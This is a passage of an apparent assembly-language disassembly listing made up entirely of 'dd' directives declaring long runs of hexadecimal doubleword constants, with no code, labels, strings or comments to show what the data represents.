		dd 4916695Ch, 5C89FD54h, 0D80132D8h, 239636F4h,	0DB1500B6h
		dd 2B03C00Dh, 13394C4Fh, 53505B09h, 0D5EEDBE4h,	0A7934405h
		dd 0A2BC849Fh, 967E09D2h, 3DCD37Eh, 85AC6FBDh, 2A9F339h
		dd 9C6B2E47h, 0F4001B23h, 0ABA2F1ADh, 0FB382632h, 0C4691681h
		dd 0C39AAC6Ch, 0B4FD9D33h, 6ED71ABDh, 4A804D87h, 9B3D6BDDh
		dd 0B5E62EA9h, 0F3816602h, 675C0EAFh, 0B19D8B60h, 73AB71Eh
		dd 0B0804BB7h, 1660179Fh, 0A05D04C2h, 8450D7C7h, 19CBBB8Ah
		dd 53C25F25h, 4DCDB7Eh,	0D98D01C4h, 0A5B09717h,	0B82AAD20h
		dd 0C5D52793h, 8756CE1Ah, 0DC8BD469h, 0D148A00h, 8409A153h
		dd 0AE9226Eh, 466FBB5h,	0B814BD4Bh, 0B6A75FB1h,	3CC900B5h
		dd 49EC7A0Bh, 202DCD90h, 0D72727A8h, 888DFEF4h,	0F0FDA66Eh
		dd 0E7C6623h, 0D7640560h, 0E3BFC165h, 3DAD4CF6h, 22E60396h
		dd 0BC503555h, 19D6EFFh, 0B74A1307h, 2A3A67A6h,	94748480h
		dd 0A9D3CCB8h, 1AFB841h, 99295110h, 6B7F03F4h, 413DABF0h
		dd 613E3402h, 45FA1497h, 0F1C26A12h, 8A500124h,	626C28D9h
		dd 742BF946h, 0AE0457F6h, 0D3B8F838h, 19BD29C1h, 3E305904h
		dd 8200B1B3h, 38A4DF18h
		dd 500085EDh, 362371BEh, 3C033B0Eh, 20CA7DF4h, 192A0163h
		dd 2C48527h, 0A1A45DAh,	0A8D80136h, 2E5B61BDh, 0F26BBD75h
		dd 0B0149773h, 78893A45h, 89732B09h, 1F789BA3h,	55D0A2BBh
		dd 62237F27h, 0C6052D75h, 71FEDF49h, 79F06988h,	53E92BC4h
		dd 0B04B6CB8h, 0C7BF1C31h, 601AE41Eh, 83D09h, 0C9114B7Ah
		dd 24659D2Bh, 0B1C5FB95h, 11BD118h, 0F5C95090h,	504970A8h
		dd 2EF805FFh, 4C489D31h, 9A2FC740h, 0ECEE9E8h, 3A0B892Bh
		dd 2F7D8604h, 0E2506104h, 8D9B005Ah, 0A2F94831h, 0A14F03A3h
		dd 63C3EA2Dh, 0C22879A8h, 16112F5Ch, 53FB2173h,	0E085B660h
		dd 92923B2h, 46A6CEBBh,	0D1446D5Ch, 104D26EFh, 46FDA5F3h
		dd 0C78102FCh, 4C58BC0Ch, 35E9D556h, 0CA689FAFh, 12D962B1h
		dd 0DE50C832h, 48E4C607h, 2EB5B2h, 21190EC4h, 521C0085h
		dd 0BD2BD1FFh, 67951D69h, 513B11F2h, 2A0DC917h,	19C8F2CFh
		dd 0FCFB83C0h, 0EEFB016h, 50FAD380h, 6492C234h,	0E95690D4h
		dd 96950E8Eh, 9AD12FC7h, 82D05ADBh, 7AA50028h, 746DD8C6h
		dd 0B5792964h, 9D0490B9h, 9EAA0235h, 0E99882A4h, 9D87614h
		dd 8E565BFAh, 4E1A46D6h, 5FE90232h, 0EB0CFE6Eh,	7290B1BDh
		dd 390D1DBBh, 0F87BA5Bh, 0D973ED3Bh, 0BDCC67Ch,	860F3A28h
		dd 834278E4h, 0E9FC25Fh, 230BE802h, 0D5D8E5C9h,	0EC046693h
		dd 2D8D5F95h, 0EDA111FFh, 19329779h, 16A637DFh,	1F8EC1B6h
		dd 61EA609Fh, 60343297h, 9F0DB929h, 0DE6988D9h,	6A27D43Dh
		dd 0AD75D9ECh, 1C655FF8h, 548CFF53h, 822900B8h,	2E41457Fh
		dd 0CA6F2C5Fh, 772A209Eh, 5813229Eh, 111672F7h,	0E862BD18h
		dd 2F8C4841h, 27CCDA25h, 890F11F5h, 205A8832h, 1F3D7654h
		dd 176D8D00h, 29582B5Eh, 0D21A1AE2h, 43D7B0h, 70E6D614h
		dd 990B1EB0h, 0F9A07112h, 91394B24h, 0C013129h,	4534B829h
		dd 41950D21h, 2A0ED5ACh, 203FF2D9h, 12DCAB9Bh, 0CE605F07h
		dd 0FC5254Bh, 0BB8220AAh, 202C9703h, 60255174h,	0BD8D314Ah
		dd 4E5AA829h, 0C82BDF12h, 0A4038B08h, 4B49162Fh, 80924513h
		dd 1F986475h, 0D6615A57h, 55F388D1h, 6F28FC00h,	9FDA0321h
		dd 82E72491h, 0F038025Ch, 73D9E949h, 0DF54D701h, 0ED60424Ah
		dd 0ED254FC5h, 0B0788021h, 9747E6EEh, 997630Ah,	0DE562221h
		dd 15955E4Bh, 5B25B8A5h, 122C62C9h, 0E57BC151h,	0E95F3586h
		dd 449F1B78h, 141F0038h, 0D531980h, 20068A8h, 44EAF4BAh
		dd 18DA267Eh, 48327264h, 69D60A19h, 51CB7CECh, 0E5DB9B18h
		dd 80EED33Dh, 0C060914Eh, 76675Ch, 1C3EA262h, 0DEB768FDh
		dd 34C5F71h, 0E6B57091h, 28842299h, 0A36FA794h,	2803F985h
		dd 483DA52Bh, 0E7092FFEh, 3BDC8919h, 4BD9AA4Ch,	107B8A1Dh
		dd 8159272Ah, 3FA3E55Ah, 0B6C52F9Bh, 0E6D630E5h, 0A725D421h
		dd 0BF67CE06h, 44251F35h, 538025ABh, 0B17795E4h, 852A6500h
		dd 28637CD7h, 1CD6049Ch, 0A40817B9h, 2F4BE1BEh,	0BA305389h
		dd 0DE1841B1h, 0D970F35Bh, 43A500E3h, 4F6DF597h, 5995870Fh
		dd 0A79A407Ah, 91C3BBCh, 0E3EEC02Bh, 277C5969h,	0EF8BA5E1h
		dd 89F7EFA0h, 0CD5BE825h, 6735A775h, 209F780h, 4F87F5D1h
		dd 80229BCDh, 0F3EE7BDh, 0CBD704FAh, 0B8F8494Dh, 16F938Eh
		dd 0A8C8EB13h, 1E34C0DAh, 4FED6DB3h, 0F94B75F5h, 0E66EA9D3h
		dd 0C4D7007Ah, 0FD8414BFh, 26BAB30Ch, 1E6D096Bh, 535A815Ch
		dd 5095535Eh, 0B2924069h, 81F6F4F0h, 5E638AA0h,	0AB359F05h
		dd 4BB2DBFh, 92AE1E5h, 44F471F9h, 0C7804147h, 0F7C2B814h
		dd 0B69C94BDh, 7FC14F8Bh, 5010888Eh, 4ED2DF6Ch,	0B938CADh
		dd 1A04E1ADh, 64BB4005h, 976546C6h, 9D44FE14h, 0D91497F5h
		dd 7520AA45h, 0BF1BC071h, 1056C278h, 44BA1497h,	0E9FA2B5Ch
		dd 74198BB7h, 7C02DEE1h, 0FAADDF57h, 0B1B682EDh, 0B8F40C03h
		dd 4725812h, 0B62FC1E1h, 0CED7E087h, 0F1664E10h, 39983F54h
		dd 14FD209Dh, 0DBCB8B95h, 0A6BC70DEh, 630E6E13h, 7C4F3C0Fh
		dd 0EBE42592h, 0AE73BD69h, 7D09D8h, 0BF7C13A1h,	725B5D67h
		dd 9D66CE95h, 2740244Dh, 26F44354h, 17B9E380h, 19CB8C81h
		dd 342E2D41h, 0F3D8AF0Fh, 0D36554BDh, 26519D90h, 39920900h
		dd 2EC80AE2h, 9B9F53Bh,	5138E954h, 6813AA02h, 0F8F05B52h
		dd 0ED744AB7h, 75D9208Fh, 0DAF96B90h, 212625Eh,	608D23B3h
		dd 0DBF33F40h, 3CBE0860h, 2465C995h, 7E178A13h,	0AC006DB2h
		dd 0F4A34180h, 360003DDh, 0EC34C62Eh, 1456483h,	615E22D8h
		dd 2B49B750h, 0EFA0245Bh, 52121F7Eh, 738C95FDh,	1A26B77Ah
		dd 0BF60315Ah, 7A9C26F6h, 79379729h, 4A1CDD00h,	1218D99Ah
		dd 0A35BF957h, 0CF8103D8h, 0F54CB66Eh, 5EF2BDB1h, 0CB5CE902h
		dd 0E9742701h, 0FBC201EBh, 2A5D7862h, 63FE6D0Eh, 0DC440432h
		dd 0A99305BCh, 0E21EBC3Dh, 0CD4D4B75h, 5A6E6A16h, 53EB1931h
		dd 35302F1Bh, 4A45BD33h, 0D76EE201h, 0B8A09BE6h, 91BC0689h
		dd 0F0E43ADCh, 86F3A6E1h, 76E326F5h, 12C4DF4Bh,	0D024C6Bh
		dd 0B2C147BFh, 6B6063C1h, 0BBCF9B20h, 21821DC3h, 413A8058h
		dd 3CE4AA55h, 0EC849700h, 2373DBB3h, 4B70BEh, 665E4013h
		dd 610F56B9h, 2942AEB6h, 0EB4CD515h, 0D9F8DD01h, 0BD9F56AEh
		dd 6C275EC2h, 0D301CBE6h, 3BFE68CCh, 0EE74241h,	5E38014Ch
		dd 30726FF7h, 0FC94D07Ch, 7A6348A3h, 72091D27h,	70A5B259h
		dd 90F48833h, 78BB0066h, 12BF50FAh, 0EEEB052Ah,	0E705FF3h
		dd 0B2780292h, 4DECBE05h, 0C7007E66h, 6E418544h, 7F1353F7h
		dd 1862CB6h, 9EE51569h,	6A735F25h, 61181459h, 2690F6DFh
		dd 0B407384Ch, 0DB38A39Eh, 809879B7h, 9518F18h,	6CC51EAEh
		dd 5C0038C4h, 0EDF1BED0h, 4AB5EB44h, 0A82C3271h, 9D801E57h
		dd 9303FBB5h, 9AB97F86h, 0C1B0FEB5h, 2F201985h,	8A182638h
		dd 5E8A4B98h, 0E4AC2003h, 0ED8F790Eh, 316B9ADh,	0B8D1D49Dh
		dd 1E94EB00h, 0AD0AAD16h, 30C9E977h, 0B7A5046Fh, 0A3FAB8D8h
		dd 0DA7BA5EBh, 59A14300h, 8B14FB1Bh, 16D04BE7h,	0DFFD03BBh
		dd 0E8006CE8h, 1B8763A9h, 5083F419h, 5F7DE32Ch,	23F46F23h
		dd 7750AD14h, 0C6250B9Eh, 5ABB0429h, 0BA1055E0h, 5C65E582h
		dd 26376C4Ah, 6B0F5C82h, 8D103F4Ch, 963E1C59h, 0B882B9F8h
		dd 9F4B2D9Eh, 844D6750h, 0F0353EC3h, 50BF4BD8h,	0E2A6BE9h
		dd 763F0CA7h, 9500EFB2h, 0B1A956E0h, 67F4021Dh,	4A5B7B5Eh
		dd 89C0B85Eh, 0B718299Dh, 1EE2D7B0h, 0AA509100h, 0B05E9A11h
		dd 0BB8497D4h, 0A4D3B809h, 52D78CFEh, 5B4BE5B8h, 7ABEBF94h
		dd 0D90071BAh, 9785EA17h, 4CB05057h, 8273EE23h,	0D26EC256h
		dd 0EC8F3A8h, 565B9780h, 471DC2h, 5893C79Ch, 263EEC81h
		dd 8C9CF57Eh, 0D44A56E9h, 15103302h, 5CDBD7CAh,	9D024C5h
		dd 0A9732EC5h, 0A8B52Dh, 65116F18h, 8018330h, 0CFCBD381h
		dd 342E5B5Fh, 0C47BACADh, 9EEE26B3h, 0FCE08017h, 5ACA9805h
		dd 4BD9ECDCh, 9801D7CCh, 27024EF5h, 0C1384948h,	0CC95BF0Fh
		dd 0D29DA00Dh, 21964F5Ah, 0C8A06EE4h, 504F5C20h, 3D005EA2h
		dd 0CA8A47ABh, 0F9009356h, 84235FCBh, 9D83D1E8h, 38378D10h
		dd 4068639h, 0B3492C34h, 965F3481h, 3BB9842Dh, 0BB796D1h
		dd 13AEDC47h, 9BF2D28h,	4D9F0872h, 31827F71h, 5703B59Dh
		dd 2E44511Ch, 80DA058Bh, 0F096B2CBh, 6F45A307h,	11A33Ah
		dd 0D928764Dh, 3A2D37FEh, 72340DB0h, 0F4238734h, 95C8B42Ch
		dd 0C5461D41h, 0A8BD9FA4h
		dd 0E010C80h, 902F7F4Ch, 12215EACh, 567CB3D2h, 0B5A5F08Bh
		dd 4B02148Bh, 2B8154F9h, 440601BDh, 5A6DAD33h, 0D3122417h
		dd 658857B2h, 1BA9B541h, 8F9A4B0Eh, 67455D80h, 0CA0D1209h
		dd 0FF698D29h, 5C718502h, 27C61C8Ah, 26DE47DCh,	8AD7D8Ch
		dd 93A0F09h, 5C233985h,	0B5F5DA0Ah, 7EA40377h, 0AE807C86h
		dd 4B7AC5Fh, 0E90331F9h, 3C97F2FFh, 154BF116h, 269A58Dh
		dd 34E23FA9h, 0A71E1270h, 0E3B2E0h, 0C9B02946h,	4525CFh
		dd 53AD2E7Fh, 7AC42C41h, 81B51897h, 641805EFh, 0AD903716h
		dd 50D8C782h, 8D9FA37h,	0F912F99Eh, 0ED5EAAEDh,	5AAABCECh
		dd 293AE0CCh, 5959983h,	3AD0A52Ah, 0AAD2C39Bh, 1B051112h
		dd 21FB1D91h, 3DE8AB4Dh, 163ABCCCh, 0C8D2514Bh,	0C904017Bh
		dd 0E6FAF6Eh, 6E4B2CBCh, 0EE97093Fh, 3A627823h,	86A75290h
		dd 505B6098h, 0B8E179F9h, 0F6C401A8h, 0E8465B27h, 0D0B268B3h
		dd 1B1510E1h, 0E54F9890h, 4D77E29Eh, 4532E0C5h,	0F8518B86h
		dd 7AD46BE6h, 805A2AABh, 4948A1B0h, 4F3804E6h, 8196026Ch
		dd 41FB99Eh, 0ADD383B9h, 0E3A85Eh, 274AA3EFh, 0FF0CC9BFh
		dd 3B6ED15Bh, 0FAF44A00h, 9FBB0E4Eh, 6026EB14h,	56512AFh
		dd 868895F3h, 9F7B58AFh, 89D370CAh, 165588h, 81026A61h
		dd 5618A9C3h, 1D1E5BD6h, 0F564951Eh, 0F4FB709h,	0F85131h
		dd 0D869961Bh, 0F6032536h, 0B521A966h, 15A5B8EFh, 0E07B178Dh
		dd 780D04DDh, 0D100AB88h, 0E769BB50h, 90682523h, 0D00716B7h
		dd 8F00A32Dh, 2C89BCDDh, 92B52FBh, 0A75C1FF9h, 7227E9E8h
		dd 53E92596h, 0B1C2A771h, 9AF709ABh, 17047C94h,	790B01F2h
		dd 2F43F52Dh, 15DA9D74h, 9005D6CFh, 0FBA33556h,	0AF364BC0h
		dd 3B670087h, 53DF1DCAh, 350307BBh, 475AC8A3h, 0A8BC8C5Fh
		dd 90F94D02h, 6A759589h, 4DB6FF09h, 1DCBE9Ch, 5DBF05DBh
		dd 2F7DC0E3h, 1623596Bh, 162CF05h, 615999BEh, 273C6276h
		dd 0C0E14DFFh, 0CC57E55h, 2BFD7E8h, 0E0A6B773h,	0BF091943h
		dd 0E7D0D9F3h, 99BD006Eh, 4D62E3A0h, 0B197DE7Ah, 0DF49FE6Dh
		dd 0D9B8CAA0h, 50410CCAh, 0FE8B6195h, 3816DA97h, 50C097E3h
		dd 71E45B16h, 812865BEh, 314A9F8h, 0A7DB131h, 71C947A5h
		dd 16DC23C5h, 63B821ADh, 6779D9C9h, 0E19D0305h,	3FC136B4h
		dd 0D2986660h, 20F0883Eh, 5661042Dh, 0D8BF8B7Ah, 0D9445E5Ch
		dd 2CD18B06h, 1167C309h, 0D18933E9h, 0C970D42Eh, 9085D879h
		dd 5C821E3Dh, 8853122Fh, 6900C2F7h, 0F1DCA04Ch,	9130C3h
		dd 73A4F8D2h, 0F781089Ah, 0C168EC03h, 615B5F1Dh, 0A2BF6840h
		dd 424A2F74h, 65A47D11h, 503DE943h, 69218517h, 925D8D24h
		dd 49476045h, 0C252A327h, 0C5115E03h, 0E36C431Ch, 0A5F21808h
		dd 5AFE2086h, 24097383h, 7B2FE7CBh, 310C0805h, 0CD5C1025h
		dd 6A060012h, 0B0B4619Fh, 992F8589h, 314A7918h,	6A330512h
		dd 0B92F7DB7h, 5BAFF0FEh, 5F3870B0h, 0B3E3365Bh, 95DDD34Ah
		dd 0CA2C04CAh, 3DC10CEBh, 0F70EC02Bh, 0A6E5293Bh, 21180D2h
		dd 0CF4ACD58h, 0D0C15FA8h, 946F9D89h, 5A69ADEEh, 12BCEEEDh
		dd 8766D1Ch, 0CE96A4C9h, 176DB7D6h, 0B529614Eh,	2D2E25CDh
		dd 266A7F4Fh, 73609A00h, 14B8E316h, 4B8A7B4Bh, 26C380C0h
		dd 0B725FA8Ah, 1327C5F3h, 0A1A770h, 0AB618C5Fh,	0E052D72Bh
		dd 86BB3BA4h, 9A364700h, 0D10306FDh, 0DD6E1095h, 656D079Bh
		dd 0E0DB2344h, 0A3677F54h, 78DA4201h, 6160BA2Ah, 252BAD21h
		dd 8C8EEC56h, 4C5B4A2h,	9D0B5F45h, 5BCBB0FDh, 0F3E1897h
		dd 0D750A28Fh, 5BC9C690h, 6A67D001h, 0E9401566h, 7CB8DB20h
		dd 0E1FF000Eh, 4DC8DB81h, 14973036h, 5292050h, 0C5FB8B25h
		dd 1F351A51h, 3CB75Fh, 9286BCA4h, 0EB0BE2A0h, 840B7D1Bh
		dd 5049087Ch, 0B1C5C24h, 1311D45Fh, 0B3F6E819h,	0BF34BC86h
		dd 0DA00BC6Ah, 0E35BB2FEh, 58198CBFh, 95701AECh, 0BE605574h
		dd 0B901DC4Eh, 1A7B6F82h, 61343DD1h, 0B1EAD2F7h, 7EC93A9Fh
		dd 261ACB7Fh, 0B9088856h, 957F3F0Eh, 0F29FD1E4h, 7CB7000Ah
		dd 62B01C43h, 5A3B5DCCh, 219989BAh, 88A07005h, 0D4B91Ah
		dd 93D0E77Fh, 0C8A130B3h, 97379800h, 1D2CE819h,	91249701h
		dd 0A0DEBE1Fh, 0A562CBC0h, 5712FBACh, 602CDD4h,	5513ED85h
		dd 9D76C314h, 6E9C1B4Bh, 0F503FFCh, 566042DBh, 0BCD65F52h
		dd 50DC5B69h, 0FC13C79Fh, 2E7B922h, 60BF0BA1h, 8409559h
		dd 38EC0268h, 0D88B03B9h, 1307A854h, 8B99A63Bh,	0AFBD74F1h
		dd 27D339Ah, 5CED8DD1h,	0F7EF2F0Bh, 1F36F260h, 9497000Ch
		dd 8EABBE2Ah, 0E91CDE8Ah, 0D42702A8h, 6000DEF1h, 18E01078h
		dd 0B8D20DADh, 27692557h, 0B4C09856h, 0C189B2h,	0D93419DBh
		dd 14536AE2h, 0B971940Bh, 0C1875670h, 0A2181BDh, 946E4Fh
		dd 4EA3132Eh, 9F3152D5h, 3AD58642h, 0E0716DA8h,	356E2F1Eh
		dd 6153401h, 0EFDBD0Bh,	8494BB00h, 0C6168825h, 7A02B35Bh
		dd 8994405Fh, 0DC359C06h, 3CBC1A04h, 15AEA80Fh,	0AA92AA53h
		dd 61D94DCDh, 0B6B2D5F2h, 0AE506EF3h, 45460B6Eh, 0FC04D652h
		dd 3402BAF9h, 0C0B5FFBFh, 27199A7Fh, 10FB6106h,	4A611378h
		dd 69F3B360h, 816159D8h, 49306EBBh, 3C293A52h, 303B532Fh
		dd 7D2C48D2h, 8E8DA601h, 0C3FFB9F6h, 0F1FBDCh, 3D0AF920h
		dd 0F5B73CBh, 4BBF3158h, 0DDE256D5h, 8E1F4E60h,	0B4014FF0h
		dd 5B6BA8B6h, 0FAF087DAh, 0DCBA091Ah, 98C237D3h, 543832DFh
		dd 0DFD0407Fh, 3104B26Ch, 61991B07h, 0BB035FE9h, 463B3C74h
		dd 196007CFh, 0BDA74457h, 0E42F7D5Bh, 14BC0133h, 0DB639D6Fh
		dd 1005F143h, 4B0DD3Bh,	5F5E565Dh, 57F08861h, 0ECB758EEh
		dd 0ADC704B2h, 0B85CE83Ah, 0BCDCD1D2h, 0C2804807h, 26299508h
		dd 0DBB70F00h, 92565390h, 318B964Fh, 0E4C5BFD2h, 0DCCB41ECh
		dd 2DB8C451h, 85D4703Fh, 611DCC40h, 6A6197CAh, 0B8903990h
		dd 9A754B16h, 0C017C8F0h, 0F57198E2h, 61A7619Dh, 0B4E9333Fh
		dd 0FFC3F612h, 0AED2BCE3h, 0F2008B6Bh, 6A737492h, 0C613CA1Ah
		dd 17898928h, 22021452h, 16D75F53h, 9D307046h, 57D0115Bh
		dd 0D7ED3F82h, 0F6FEF380h, 21E928C2h, 23047F8Ah, 0EEDCB80Dh
		dd 0E198E696h, 3B385C22h, 540A616h, 0AE0975D7h,	0D6C93738h
		dd 1B47B05Dh, 2B8F9C97h, 0DBCB03B6h, 3B59E212h,	0AA79A8h
		dd 0A62CE19h, 1675E848h, 0C2935377h, 0F60C3226h, 29F125C3h
		dd 9295C1C6h, 3A377F2Fh, 647801BDh, 0CB81FC8Ah,	4BC254E8h
		dd 1D88D2Fh, 41FB1A0h, 1D25B904h, 441FFD13h, 912BDDC7h
		dd 91288401h, 0CE9521E2h, 77CBC462h, 898EB9D3h,	0B2D7CBFh
		dd 0A9D33165h, 17B6E6D0h, 0A12BE780h, 80532BACh, 0BAA5EAB7h
		dd 0B8802261h, 0F94AB339h, 0EBE85Bh, 1E36B3F9h,	2A359C9Dh
		dd 0BE0558B0h, 707655F0h, 18C79201h, 952B6163h,	0F616BB5Fh
		dd 8211AFA9h, 9EE15E03h, 0CC78342Bh, 87090D42h,	78F37715h
		dd 5F0F40C7h, 57891A97h, 7C2FE341h, 1D089E3Fh, 0D8743233h
		dd 8509EBB0h, 1613D120h, 0ACA9BB66h, 31AD1245h,	7BA7AFEh
		dd 0D3883301h, 528BE570h, 7F7E48ACh, 132EE110h,	1CA35096h
		dd 8B704B58h, 0E229E6F5h, 16DB7C50h, 0A3BFAC39h, 0CD1A1053h
		dd 315F0F12h, 9684D68Dh, 0BFC071ACh, 42FBC69Ch,	5BEB8012h
		dd 0EC9373E2h, 6EAE4AACh, 5F0170F3h, 0BD03594Eh, 0ED2A2799h
		dd 0EFBB1CC9h, 0FA57B789h, 707CBB41h, 270608E0h, 1A79BD89h
		dd 0EF801660h, 0F3AA3059h
		dd 8E15EB87h, 81928CC4h, 15F98D29h, 0BC87752Eh,	0AB868097h
		dd 1D696636h, 85C9B988h, 255DE1A4h, 0DD370423h,	0D177B90Dh
		dd 12E6BC98h, 45C9112h,	0B80E4D1Eh, 2993E296h, 2F90100Bh
		dd 0ECF01E3Dh, 0A27FA900h, 3862A4F9h, 0AA47008Bh, 0AB5AD43Eh
		dd 3A97DF4Ah, 0D4277CABh, 0B04A920Ch, 2FC10CA0h, 0BDE4D74Dh
		dd 2F1D9A00h, 2A212437h, 5BB13B9h, 1427A02Dh, 0F5FFD09h
		dd 0D4664A8Dh, 0C69EC3B1h, 4CDBAA85h, 0EA5501C0h, 0E5AE8DBh
		dd 0B52797A0h, 17E4CE6Fh, 0BABB067h, 9F5AE99Bh,	0B629CBB1h
		dd 0DD0B9EB8h, 78F94A75h, 8B2E4086h, 4F92C14Dh,	0A6D254E9h
		dd 926A041h, 0C45500E3h, 90C59C4Dh, 5007DE8Ah, 5FF98B57h
		dd 0C1E8ED8Bh, 20FE31EBh, 2551ED4Fh, 2E362150h,	16BB3D25h
		dd 0F85ABDFEh, 94DA02B6h, 0F275F5AFh, 0BABB8882h, 0F88A0EC0h
		dd 0ED920997h, 601C0CDh, 4605DC1Fh, 17FD9D2Bh, 410D1AF4h
		dd 16B77C05h, 0E84E09Ah, 6232CCEBh, 227D9000h, 15980630h
		dd 0E3650602h, 9089C4D1h, 98800F2Fh, 609ECF9Bh,	0BD291A32h
		dd 1697224Dh, 58C09B62h, 380147B9h, 7E6914B6h, 0D239E371h
		dd 0B921C9C4h, 7856C967h, 0E45F4A0Eh, 2341FDB9h, 0EFDBAC84h
		dd 0A229B89Ah, 0B2022971h, 9FD5241Dh, 891491ADh, 3FD164B8h
		dd 2FF3697Ah, 215122BFh, 0EBB35005h, 0BF5BE49h,	0BE29D528h
		dd 5D93D494h, 39A7C958h, 87051FA5h, 0C139F8BDh,	12C21F3h
		dd 8E2B54E9h, 0BAC51EF4h, 78DC5BA5h, 0B7971B86h, 0EF4889E9h
		dd 1AF1B802h, 0AF706555h, 0A2006935h, 685F3AFh,	0FBC427DBh
		dd 0BA1FA5E4h, 94C04DA9h, 2DF557E2h, 939E00F6h,	0F781E061h
		dd 2900FD6Ch, 99BF5F24h, 9C09B0A7h, 46D838C3h, 30A85B27h
		dd 3D67A4DFh, 7A5389CBh, 6E02917Ah, 0DB37EC48h,	94998685h
		dd 0A479AC5Fh, 9226ABFh, 0A7C29E97h, 5CF9C9C5h,	0CECD5AD5h
		dd 95D3560h, 4B3D4ABDh,	8F53FFB3h, 3E27DC70h, 0F68E7651h
		dd 0BB606F47h, 67418783h, 0BE76B0A2h, 0C922FD0Bh, 5D6D357Fh
		dd 4A4CF25Ah, 0C82A62D9h, 0C6B5879Ah, 0B0FA2D93h, 2C4D0340h
		dd 9870E680h, 24AB55Dh,	0BF136056h, 0BA623EEh, 0BDD14D5Eh
		dd 132EFBB7h, 0B530BA4Fh, 4A398D09h, 59C0E604h,	0C157409Eh
		dd 0A624B2D6h, 0D06754ACh, 0B35C0995h, 8FD8A42h, 26410CD8h
		dd 7AC5D13Dh, 2E47E9DFh, 0A608799Dh, 0FC331A7h,	16227E81h
		dd 28C3200Eh, 0ED00427Ch, 35B7EF97h, 75B2953h, 0D78032F0h
		dd 9D3160BFh, 12970F19h, 4B0DDE78h, 6A2510F5h, 4A1B0542h
		dd 0F205CBAFh, 94F00096h, 2EF86C4Dh, 78060010h,	0A41EBF46h
		dd 260D8BC9h, 585F5D0Dh, 0D21CCC6Ah, 60199F00h,	621142F8h
		dd 4F60063h, 48BC66E3h,	1EE6201Ah, 60983A97h, 0A58AB3Ch
		dd 3AE9747Ah, 24C562B7h, 3312DD29h, 0B9319524h,	9E1F8892h
		dd 16A594F9h, 0B5C9FE28h, 95B2534Bh, 7404AC93h,	3075226Bh
		dd 41A1DCAAh, 28D45C82h, 86539583h, 3A181659h, 0B9B84805h
		dd 0F72108AAh, 0D9131595h, 0A4FCC829h, 0A3FBE880h, 8AB676h
		dd 0CF26AD93h, 5B9EEE38h, 0D7694F02h, 0EDFCCC70h, 5EA1EF2Ah
		dd 4185661Ah, 6A1F8DB2h, 8B53E2D9h, 7BFA85BAh, 896A021Fh
		dd 503E32A9h, 0B6245A6Fh, 0CBB7C4F2h, 0CDC389DBh, 0D2AC0F05h
		dd 0F15C5B2Fh, 6D8C044Bh, 818060EEh, 0BA1224F3h, 0B7E64E60h
		dd 0C53018B2h, 689F4CDEh, 604CCD5Ah, 2960F1D5h,	0AE5CDF71h
		dd 0E24E4A71h, 2BB6F411h, 4B11BDA0h, 0C0FCCD95h, 0F1C2A27Eh
		dd 0D100C975h, 0E781EB59h, 135E6EBBh, 0EABD0316h, 0DE24B52h
		dd 7E48768Dh, 56F011F6h, 0F20B8067h, 7EAF2F85h,	0AAAF24F4h
		dd 68BD9546h, 60970801h, 0FA201096h, 0B0558AD5h, 9CADBD55h
		dd 0E1FF09A1h, 1500EA51h, 0BC2B92B3h, 0DAB850DFh, 6D58249Fh
		dd 91A00952h, 5B421379h, 0D2010704h, 1CD7126Dh,	27636941h
		dd 0C8C0D9CDh, 0B634C0h, 0BD2B1928h, 9D0BACB4h,	0BC061D20h
		dd 0CC52534h, 0EC25F21Dh, 5B4B0089h, 0E2798BFAh, 0CB28BECAh
		dd 67000EE9h, 4729E77Eh, 27AFC2A8h, 0E1E25F93h,	82953D72h
		dd 5C01B7DCh, 90D427AFh, 55B60269h, 0B5C52E2Bh,	2633AE2Eh
		dd 0BE8D85FBh, 0A697D97Ch, 12C4F395h, 0B8097D9Ah, 0CC8FA20Dh
		dd 973D6BDBh, 3413BDF0h, 33BA5024h, 94006062h, 0D6EB9F7h
		dd 7612E51h, 0AF27BB90h, 0B96AF5B5h, 1E9BC86h, 3A754D3Fh
		dd 3B8596DFh, 3720D000h, 0E46C2968h, 48B72FDBh,	0D61D8FF8h
		dd 0B727F597h, 0C1E90029h, 317B9C3Bh, 0DF507BB8h, 84BCD90h
		dd 5AF9C19Ch, 1000A689h, 0E9092629h, 90DB024Eh,	6DC87D0h
		dd 0BC068C2Eh, 0A12D66E8h, 0B1D25B1Ch, 2E244998h, 880F8671h
		dd 0BF36253Fh, 418A5F16h, 73C26125h, 0B0773B77h, 12840CEh
		dd 5E7E2CF3h, 0EF0C2F4Ch, 0FAA286A0h, 0A3C9EC04h, 60B9DF8Bh
		dd 7D8C15ACh, 0F5C6C6CEh, 0BD31DF0Ah, 689D309h,	0E1F01476h
		dd 58CEE9A5h, 16A73325h, 0D0B62935h, 1CA98D9Dh,	2A6C1397h
		dd 0B5E3DD12h, 0F45C6246h, 0C77B0387h, 0C18D0408h, 2CD0AC97h
		dd 782E09D0h, 19A5250h,	0B1BF40DDh, 2288024Ch, 310FEBCDh
		dd 585A2E60h, 9FA25398h, 23B77Dh, 6C209B7h, 0D5092D9Ah
		dd 0A2B2993Fh, 57B5FF5Ch, 4702DB3Fh, 6040BC1Eh,	841BC98Ah
		dd 7668DF07h, 2A9588Eh,	2E028929h, 0F2D461E9h, 0C100D54Bh
		dd 0AAE69B80h, 5A3BD701h, 616B7FA8h, 0B06B103Ah, 0E31B4712h
		dd 61705025h, 38BF1D40h, 0A25307Ah, 37952AC4h, 687B82B9h
		dd 0A36BB4DFh, 990CF27h, 3A9AD15Eh, 46487880h, 4C40120Fh
		dd 6630E902h, 707CEEBFh, 0C31C86Eh, 0DB8A0E80h,	2CCF348h
		dd 0FDE3F1FCh, 8471FE55h, 0DF366225h, 5D049237h, 2AAE889Eh
		dd 0E1BC8B27h, 5700019Eh, 0C127CF80h, 23A0415Fh, 0E2D6103h
		dd 59DC0935h, 8635EB3Dh, 3A3C5985h, 190C02FBh, 12551B8Ch
		dd 78E8753Eh, 1709F361h, 598DAA94h, 93A4770h, 863DDDh
		dd 34B0FEE8h, 3627A026h, 101456FDh, 27E9130Bh, 0F34D1688h
		dd 9FDF8100h, 2316D412h, 4FBA45E3h, 0D10B2D6Ah,	55021FA1h
		dd 3002FF5h, 972A59BDh,	8725471Ch, 35EBD04h, 0E6A1A659h
		dd 80E78180h, 7028AA13h, 0D252DB8h, 4E0B6DC7h, 0C023D404h
		dd 10D8237h, 0F03D3Fh, 0D76BD4B5h, 7D1C6792h, 0E3F301B4h
		dd 6ED5D3BFh, 0D6D37C21h, 0EDD324ADh, 40A1A87Ch, 354B5DFFh
